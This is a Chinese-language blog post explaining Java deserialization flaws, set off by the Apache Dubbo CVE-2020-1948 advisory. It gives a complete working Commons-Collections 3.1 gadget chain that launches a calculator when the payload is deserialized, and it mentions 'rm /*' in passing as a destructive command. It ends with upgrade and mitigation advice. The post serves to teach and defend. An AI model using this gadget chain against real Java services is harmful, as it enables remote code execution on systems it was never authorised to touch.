Dubbo 高危漏洞!原來都是反序列化惹得禍
:stuck_out_tongue_closed_eyes:
前言
這周收到外部合作同事推送的一篇文章, 【漏洞通告】Apache Dubbo Provider默認反序列化遠程代碼執行漏洞(CVE-2020-1948)通告 。
按照文章披露的漏洞影響範圍,可以說是當前所有的 Dubbo 的版本都有這個問題。
無獨有偶,這周在 Github 自己的倉庫上推送幾行改動,不一會就收到 Github 安全提示,警告當前項目存在安全漏洞CVE-2018-10237。
可以看到這兩個漏洞都是利用反序列化進行執行惡意代碼,可能很多同學跟我當初一樣,看到這個一臉懵逼。好端端的反序列化,怎麼就能被惡意利用,用來執行的惡意代碼?
這篇文章我們就來聊聊反序列化漏洞,瞭解一下黑客是如何利用這個漏洞進行攻擊。
反序列化漏洞
在瞭解反序列化漏洞之前,首先我們學習一下兩個基礎知識。
Java 運行外部命令
Java 中有一個類 Runtime
,我們可以使用這個類執行執行一些外部命令。
下面例子中我們使用 Runtime
運行打開系統的計算器軟件。
// 僅適用macos
Runtime.getRuntime().exec("open -a Calculator ");
有了這個類,惡意代碼就可以執行外部命令,比如執行一把 rm /*
。
序列化/反序列化
如果經常使用 Dubbo,Java 序列化與反序列化應該不會陌生。
一個類通過實現 Serializable
接口,我們就可以將其序列化成二進制數據,進而存儲在文件中,或者使用網絡傳輸。
其他程序可以通過網絡接收,或者讀取文件的方式,讀取序列化的數據,然後對其進行反序列化,從而反向得到相應的類的實例。
下面的例子我們將 App
的對象進行序列化,然後將數據保存到的文件中。後續再從文件中讀取序列化數據,對其進行反序列化得到 App
類的對象實例。
public class App implements Serializable {
private String name;
private static final long serialVersionUID = 7683681352462061434L;
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
System.out.println("readObject name is "+name);
Runtime.getRuntime().exec("open -a Calculator");
}
public static void main(String[] args) throws IOException, ClassNotFoundException {
App app = new App();
app.name = "程序通事";
FileOutputStream fos = new FileOutputStream("test.payload");
ObjectOutputStream os = new ObjectOutputStream(fos);
//writeObject()方法將Unsafe對象寫入object文件
os.writeObject(app);
os.close();
//從文件中反序列化obj對象
FileInputStream fis = new FileInputStream("test.payload");
ObjectInputStream ois = new ObjectInputStream(fis);
//恢復對象
App objectFromDisk = (App)ois.readObject();
System.out.println("main name is "+objectFromDisk.name);
ois.close();
}
執行結果:
readObject name is 程序通事
main name is 程序通事
並且成功打開了計算器程序。
當我們調用 ObjectInputStream#readObject
讀取反序列化的數據,如果對象內實現了 readObject
方法,這個方法將會被調用。
源碼如下:
反序列化漏洞執行條件
上面的例子中,我們在 readObject
方法內主動使用 Runtime
執行外部命令。但是正常的情況下,我們肯定不會在 readObject
寫上述代碼,除非是內鬼 ̄□ ̄||
如果可以找到一個對象,他的 readObject
方法可以執行任意代碼,那麼在反序列過程也會執行對應的代碼。我們只要將滿足上述條件的對象序列化之後發送給先相應 Java 程序,Java 程序讀取之後,進行反序列化,就會執行指定的代碼。
爲了使反序列化漏洞成功執行需要滿足以下條件:
-
Java 反序列化應用中需要 存在序列化使用的類 ,不然反序列化時將會拋出
ClassNotFoundException
異常。 -
Java 反序列化對象的
readObject
方法可以執行任何代碼,沒有任何驗證或者限制。
引用一段網上的反序列化攻擊流程,來源: https://xz.aliyun.com/t/7031
-
客戶端構造payload(有效載荷),並進行一層層的封裝,完成最後的exp(exploit-利用代碼)
-
exp發送到服務端,進入一個服務端自主複寫(也可能是也有組件複寫)的readobject函數,它會反序列化恢復我們構造的exp去形成一個惡意的數據格式exp_1(剝去第一層)
-
這個惡意數據exp_1在接下來的處理流程(可能是在自主複寫的readobject中、也可能是在外面的邏輯中),會執行一個exp_1這個惡意數據類的一個方法,在方法中會根據exp_1的內容進行函處理,從而一層層地剝去(或者說變形、解析)我們exp_1變成exp_2、exp_3......
-
最後在一個可執行任意命令的函數中執行最後的payload,完成遠程代碼執行。
Common-Collections
下面我們以 Common-Collections
的存在反序列化漏洞爲例,來複現反序列化攻擊流程。
首先我們在應用內引入 Common-Collections
依賴,這裏需要注意,我們需要引入 3.2.2
版本之前,之後的版本這個漏洞已經被修復。
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
PS:下面的代碼只有在 JDK7 環境下執行才能復現這個問題。
首先我們需要明確,我們做一系列目的就是爲了讓應用程序成功執行 Runtime.getRuntime().exec("open -a Calculator")
。
當然我們沒辦法讓程序直接運行上述語句,我們需要藉助其他類,間接執行。
Common-Collections
存在一個 Transformer
,可以將一個對象類型轉爲另一個對象類型,相當於 Java Stream
中的 map
函數。
Transformer
有幾個實現類:
-
ConstantTransformer
-
InvokerTransformer
-
ChainedTransformer
其中 ConstantTransformer
用於將對象轉爲一個常量值,例如:
Transformer transformer = new ConstantTransformer("程序通事");
Object transform = transformer.transform("樓下小黑哥");
// 輸出對象爲 程序通事
System.out.println(transform);
InvokerTransformer
將會使用反射機制執行指定方法,例如:
Transformer transformer = new InvokerTransformer(
"append",
new Class[]{String.class},
new Object[]{"樓下小黑哥"}
);
StringBuilder input=new StringBuilder("程序通事-");
// 反射執行了 input.append("樓下小黑哥");
Object transform = transformer.transform(input);
// 程序通事-樓下小黑哥
System.out.println(transform);
ChainedTransformer
需要傳入一個 Transformer[]
數組對象,使用責任鏈模式執行的內部 Transformer
,例如:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer(
"exec",
new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
Transformer chainTransformer = new ChainedTransformer(transformers);
chainTransformer.transform("任意對象值");
通過 ChainedTransformer
鏈式執行 ConstantTransformer
, InvokerTransformer
邏輯,最後我們成功的運行的 Runtime
語句。
不過上述的代碼存在一些問題, Runtime
沒有繼承 Serializable
接口,我們無法將其進行序列化。
如果對其進行序列化程序將會拋出異常:
我們需要改造以上代碼,使用 Runtime.class
經過一系列的反射執行:
String[] execArgs = new String[]{"open -a Calculator"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class}, execArgs),
};
剛接觸這塊的同學的應該已經看暈了吧,沒關係,我將上面的代碼翻譯一下正常的反射代碼一下:
((Runtime) Runtime.class.
getMethod("getRuntime", null).
invoke(null, null)).
exec("open -a Calculator");
TransformedMap
接下來我們需要找到相關類,可以自動調用 Transformer
內部方法。
Common-Collections
內有兩個類將會調用 Transformer
:
-
TransformedMap
-
LazyMap
下面將會主要介紹 TransformedMap
觸發方式, LazyMap
觸發方式比較類似,感興趣的同學可以研究這個開源庫@ysoserial CommonsCollections1
。
Github 地址: https://github.com/frohoff/ysoserial
TransformedMap
可以用來對 Map 進行某種變換,底層原理實際上是使用傳入的 Transformer
進行轉換。
Transformer transformer = new ConstantTransformer("程序通事");
Map<String, String> testMap = new HashMap<>();
testMap.put("a", "A");
// 只對 value 進行轉換
Map decorate = TransformedMap.decorate(testMap, null, transformer);
// put 方法將會觸發調用 Transformer 內部方法
decorate.put("b", "B");
for (Object entry : decorate.entrySet()) {
Map.Entry temp = (Map.Entry) entry;
if (temp.getKey().equals("a")) {
// Map.Entry setValue 也會觸發 Transformer 內部方法
temp.setValue("AAA");
}
}
System.out.println(decorate);
輸出結果爲:
{b=程序通事, a=程序通事}
AnnotationInvocationHandler
上文中我們知道了,只要調用 TransformedMap
的 put
方法,或者調用 Map.Entry
的 setValue
方法就可以觸發我們設置的 ChainedTransformer
,從而觸發 Runtime
執行外部命令。
現在我們就需要找到一個可序列化的類,這個類 正好
實現了 readObject
,且 正好
可以調用 Map put
的方法或者調用 Map.Entry
的 setValue
。
Java 中有一個類 sun.reflect.annotation.AnnotationInvocationHandler
,正好滿足上述的條件。這個類構造函數可以設置一個 Map
變量,這下剛好可以把上面的 TransformedMap
設置進去。
不過不要高興的太早,這個類沒有 public 修飾符,默認只有同一個包纔可以使用。
不過這點難度,跟上面一比,還真是輕鬆,我們可以通過反射獲取從而獲取這個類的實例。
示例代碼如下:
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
// 隨便使用一個註解
Object instance = ctor.newInstance(Target.class, exMap);
完整的序列化漏洞示例代碼如下 :
String[] execArgs = new String[]{"open -a Calculator"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class}, execArgs),
};
//
Transformer transformerChain = new ChainedTransformer(transformers);
Map<String, String> tempMap = new HashMap<>();
// tempMap 不能爲空
tempMap.put("value", "you");
Map exMap = TransformedMap.decorate(tempMap, null, transformerChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
// 隨便使用一個註解
Object instance = ctor.newInstance(Target.class, exMap);
File f = new File("test.payload");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(f));
oos.writeObject(instance);
oos.flush();
oos.close();
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f));
// 觸發代碼執行
Object newObj = ois.readObject();
ois.close();
上面代碼中需要注意, tempMap
需要一定不能爲空,且 key
一定要是 value
。那可能有的同學爲什麼一定要這樣設置?
tempMap
不能爲空的原因是因爲 readObject
方法內需要遍歷內部 Map.Entry
.
至於第二個問題,別問,問就是玄學 ~好吧,我也沒研究清楚--,有了解的小夥伴的 留言一下 。
最後總結一下這個反序列化漏洞代碼執行鏈路如下:
Common-Collections 漏洞修復方式
在 JDK 8 中, AnnotationInvocationHandler
移除了 memberValue.setValue
的調用,從而使我們上面構造的 AnnotationInvocationHandler
+ TransformedMap
失效。
另外 Common-Collections
3.2.2 版本,對這些不安全的 Java 類序列化支持增加了開關,默認爲關閉狀態。
比如在 InvokerTransformer
類中重寫 readObject
,增相關判斷。如果沒有開啓不安全的類的序列化則會拋出UnsupportedOperationException異常
Dubbo 反序列化漏洞
Dubbo 反序列化漏洞原理與上面的類似,但是執行的代碼攻擊鏈與上面完全不一樣,這裏就不再復現的詳細的實現的方式,感興趣的可以看下面兩篇文章:
https://blog.csdn.net/caiqiiqi/article/details/106934770
https://www.mail-archive.com/[email protected]/msg06544.html
Dubbo 在 2020-06-22 日發佈 2.7.7 版本,升級內容名其中包括了這個反序列化漏洞的修復。不過從其他人發佈的文章來看,2.7.7 版本的修復方式,只是初步改善了問題,不過並沒有根本上解決的這個問題。
感興趣的同學可以看下這篇文章:
https://www.freebuf.com/mob/vuls/241975.html
防護措施
最後作爲一名普通的開發者來說,我們自己來修復這種漏洞,實在不太現實。
術業有專攻,這種專業的事,我們就交給個高的人來頂。
我們需要做的事,就是了解的這些漏洞的一些基本原理,樹立的一定意識。
其次我們需要了解一些基本的防護措施,做到一些基本的防禦。
如果碰到這類問題,我們及時需要關注官方的新的修復版本,儘早升級,比如 Common-Collections
版本升級。
有些依賴 jar 包,升級還是方便,但是有些東西升級就比較麻煩了。就比如這次 Dubbo 來說,官方目前只放出的 Dubbo 2.7 版本的修復版本,如果我們需要升級,需要將版本直接升級到 Dubbo 2.7.7。
如果你目前已經在使用 Dubbo 2.7 版本,那麼升級還是比較簡單。但是如果還在使用 Dubbo 2.6 以下版本的,那麼就麻煩了,沒辦法直接升級。
Dubbo 2.6 到 Dubbo 2.7 版本,其中升級太多了東西,就比如包名變更,影響真的比較大。
就拿我們系統來講,我們目前這套系統,生產還在使用 JDK7。如果需要升級,我們首先需要升級 JDK。
其次,我們目前大部分應用還在使用 Dubbo 2.5.6 版本,這是真的,版本就是這麼低。
這部分應用直接升級到 Dubbo 2.7 ,改動其實非常大。另外有些基礎服務,自從第一次部署之後,就再也沒有重新部署過。對於這類應用還需要仔細評估。
最後,我們有些應用,自己實現了 Dubbo SPI,由於 Dubbo 2.7 版本的包路徑改動,這些 Dubbo SPI 相關包路徑也需要做出一些改動。
所以直接升級到 Dubbo 2.7 版本的,對於一些老系統來講,還真是一件比較麻煩的事。
如果真的需要升級,不建議一次性全部升級,建議採用逐步升級替換的方式,慢慢將整個系統的內 Dubbo 版本的升級。
所以這種情況下,短時間內防禦措施,可參考玄武實驗室給出的方案:
如果當前 Dubbo 部署雲上,那其實比較簡單,可以使用雲廠商的提供的相關流量監控產品,提前一步阻止漏洞的利用。